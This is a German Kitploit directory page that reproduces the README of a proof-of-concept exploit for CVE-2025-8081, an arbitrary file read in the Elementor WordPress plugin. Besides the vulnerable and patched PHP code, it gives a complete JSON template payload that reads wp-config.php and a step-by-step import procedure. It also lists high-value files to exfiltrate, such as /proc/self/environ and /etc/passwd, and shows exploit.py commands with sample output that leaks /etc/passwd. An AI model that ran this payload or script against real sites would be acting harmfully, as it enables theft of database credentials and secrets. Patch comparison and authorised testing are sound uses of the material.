Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Einreichen
ToolsExploitsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

FeedsKontaktDatenschutz© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2025-8081-Elementor — Proof-of-Concept-Exploit für CVE-2025-8081, ein beliebiges Dateilesen im Elementor-WordPress-Plugin, das authentifizierten Administratoren das Lesen sensibler Dateien wie wp-config.php ermöglicht. | Kitploit
Tools/GitHubGitHub/lyesh4ck/cve-2025-8081-elementor
SchwachstellenanalyseExploitationWebanwendungs-ExploitationPenetrationstestsLernen & Bildung
GitHublyesh4ck/cve-2025-8081-elementor

CVE-2025-8081-Elementor

Proof-of-Concept-Exploit für CVE-2025-8081, ein beliebiges Dateilesen im Elementor-WordPress-Plugin, das authentifizierten Administratoren das Lesen sensibler Dateien wie wp-config.php ermöglicht.

Repository anzeigen
11vor 11 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2025-8081 – Elementor-Schwachstelle für beliebiges Dateilesen

Severity CVSS WordPress Elementor

Eine kritische Schwachstelle für beliebiges Dateilesen im Elementor-WordPress-Plugin, die es authentifizierten Administratoren ermöglicht, jede Datei zu lesen, auf die der Webserver zugreifen kann, einschließlich sensibler Konfigurationsdateien mit Datenbank-Anmeldedaten.


📋 Überblick über die Schwachstelle

CVE-Informationen

EigenschaftWert
CVE-IDCVE-2025-8081
TypBeliebiges Dateilesen (CWE-22: Path Traversal)
CVSS-Score4.9 (Mittel) – Tatsächliche Auswirkung: KRITISCH
CVSS-VektorAV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N
Betroffene VersionenElementor ≤ 3.30.2
Behobene VersionElementor ≥ 3.30.3
Veröffentlichungsdatum22. Juli 2025
Offenlegungsdatum15. Oktober 2025

Angriffsvoraussetzungen

  • ✅ WordPress-Administratorkonto
  • ✅ Elementor-Plugin installiert und aktiviert
  • ✅ Zugriff auf die Vorlagenimport-Funktion
  • ✅ Image-Elementor-Widget aktiviert

Auswirkungen

  • 🔴 Beliebiges Dateilesen: Jede Datei lesen, auf die der Webserver-Benutzer (www-data) zugreifen kann
  • 🔴 Diebstahl von Anmeldedaten: Zugriff auf wp-config.php offenbart Datenbank-Anmeldedaten und Sicherheitsschlüssel
  • 🔴 Kompromittierung der Datenbank: Voller Zugriff auf die WordPress-Datenbank mit gestohlenen Anmeldedaten

🎯 Details zur Schwachstelle

Ort

Die Schwachstelle existiert in einer einzelnen Datei an einer einzelnen Zeile:

elementor/includes/template-library/classes/class-import-images.php
Zeile 115 (v3.28.3)

Verwundbarer Code (v3.28.3)

if ( isset( $attachment['tmp_name'] ) ) {
    // Used when called to import a directly-uploaded file.
    $filename = $attachment['name'];
    $file_content = Utils::file_get_contents( $attachment['tmp_name'] );  // ❌ NO VALIDATION!
}

Problem: Der Parameter tmp_name wird NICHT mit is_uploaded_file() validiert, sodass ein Angreifer beliebige Dateipfade angeben kann.

Gepatchter Code (v3.30.3)

if ( isset( $attachment['tmp_name'] ) ) {
    // Used when called to import a directly-uploaded file.
    $filename = $attachment['name'];
    $file_content = false;
    // security validation in case the tmp_name has been tampered with
    if ( is_uploaded_file( $attachment['tmp_name'] ) ) {  // ✅ VALIDATION ADDED!
        $file_content = Utils::file_get_contents( $attachment['tmp_name'] );
    }
}

Behebung: Der Patch fügt die is_uploaded_file()-Validierung hinzu, um sicherzustellen, dass sich tmp_name auf eine legitime, per HTTP-POST hochgeladene Datei bezieht.


💣 Proof of Concept

JSON-Payload

{
  "content": [{
    "id": "s1",
    "elType": "section",
    "settings": [],
    "elements": [{
      "id": "c1",
      "elType": "column",
      "settings": {"_column_size": 100},
      "elements": [{
        "id": "w1",
        "elType": "widget",
        "widgetType": "image",
        "settings": {
          "image": {
            "url": "http://x.com/x.jpg",
            "id": 1,
            "tmp_name": "/var/www/html/wp-config.php",
            "name": "leaked_config.txt"
          }
        },
        "elements": []
      }]
    }]
  }],
  "version": "0.4",
  "type": "page"
}

Manuelle Ausführungsschritte

  1. Als Administrator bei WordPress anmelden
  2. Zu Elementor → Meine Vorlagen → Vorlagen importieren navigieren
  3. Das obige JSON-Payload hochladen (als payload.json speichern)
  4. Auf Jetzt importieren klicken
  5. Zu Medien → Bibliothek gehen
  6. leaked_config.txt finden und herunterladen

Ergebnis: wp-config.php-Inhalt mit Datenbank-Anmeldedaten offengelegt!


📊 Interessante Dateien zum Exfiltrieren

Kritische Dateien

DateiBeschreibungAuswirkung
/var/www/html/wp-config.phpWordPress-Konfiguration🔴 KRITISCH – DB-Anmeldedaten
/proc/self/environUmgebungsvariablen🔴 KRITISCH – API-Schlüssel, Geheimnisse

Hochwertige Dateien

DateiBeschreibungAuswirkung
/etc/passwdSystembenutzer🟠 HOCH – Benutzeraufzählung
/var/www/html/.htaccessWebserver-Konfiguration🟠 HOCH – Offenlegung der Konfiguration
/var/log/apache2/access.logApache-Protokolle🟡 MITTEL – Offenlegung von Informationen

🛠️ Automatisierte Ausnutzung

Schnellstart

python3 exploit.py -t https://target.com -u admin -p password123

Befehlszeilenoptionen

Erforderliche Argumente:
  -t, --target URL        Ziel-WordPress-URL (z. B. https://target.com)
  -u, --user BENUTZERNAME     WordPress-Admin-Benutzername
  -p, --password PASSWORT     WordPress-Admin-Passwort

Optionale Argumente:
  -f, --file PFAD         Zu lesende Datei (Standard: /var/www/html/wp-config.php)
  -o, --output DATEI      Ausgabedateiname (Standard: automatisch generiert)
  --insecure, -k          SSL-Zertifikatsprüfung deaktivieren
  -v, --verbose           Ausführliche Ausgabe für Debugging aktivieren
  -h, --help              Hilfemeldung anzeigen

Verwendungsbeispiele

# Grundlegende Ausnutzung (liest wp-config.php mit Standard-Payload)
python3 exploit.py -t http://target.com -u admin -p password123

# Benutzerdefinierte Zieldatei
python3 exploit.py -t http://target.com -u admin -p password123 -f /etc/passwd

# Mit HTTPS und selbstsigniertem Zertifikat
python3 exploit.py -t https://target.com -u admin -p password123 --insecure

# Ausführlicher Modus mit benutzerdefinierter Ausgabe
python3 exploit.py -t http://target.com -u admin -p password123 \
  -f /etc/passwd -o users.txt -v

# Von OrbStack/Docker mit Ziel auf Host-Maschine
python3 exploit.py -t http://host.internal:8080 -u admin -p password123 -v

Erwartete Ausgabe

Kali:~$ python3 exploit.py  -t http://host.internal:8080 -u admin -p admin123 -f /etc/passwd

======================================================================
 CVE-2025-8081 - Elementor Arbitrary File Read
======================================================================
Target: http://host.internal:8080
File:   /etc/passwd
======================================================================

[INFO] Attempting WordPress authentication...
[SUCCESS] ✓ Authentication successful!
[INFO] Fetching AJAX nonce...
[INFO] Loading payload: payload.json
[INFO] Uploading malicious template...
[SUCCESS] ✓ Template uploaded successfully!
[INFO] Searching for leaked file: leaked_passwd.txt
[SUCCESS] ✓ Found file: http://host.internal:8080/wp-content/uploads/2025/10/leaked_passwd.txt
[INFO] Downloading file...
[SUCCESS] ✓ Downloaded 839 bytes

======================================================================
 EXPLOITATION SUCCESSFUL!
======================================================================
File URL:  http://host.internal:8080/wp-content/uploads/2025/10/leaked_passwd.txt
File size: 839 bytes
Saved to:  leaked_passwd.txt

--- FILE CONTENT (first 500 chars) ---
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin
--- END ---
======================================================================

Tool herunterladen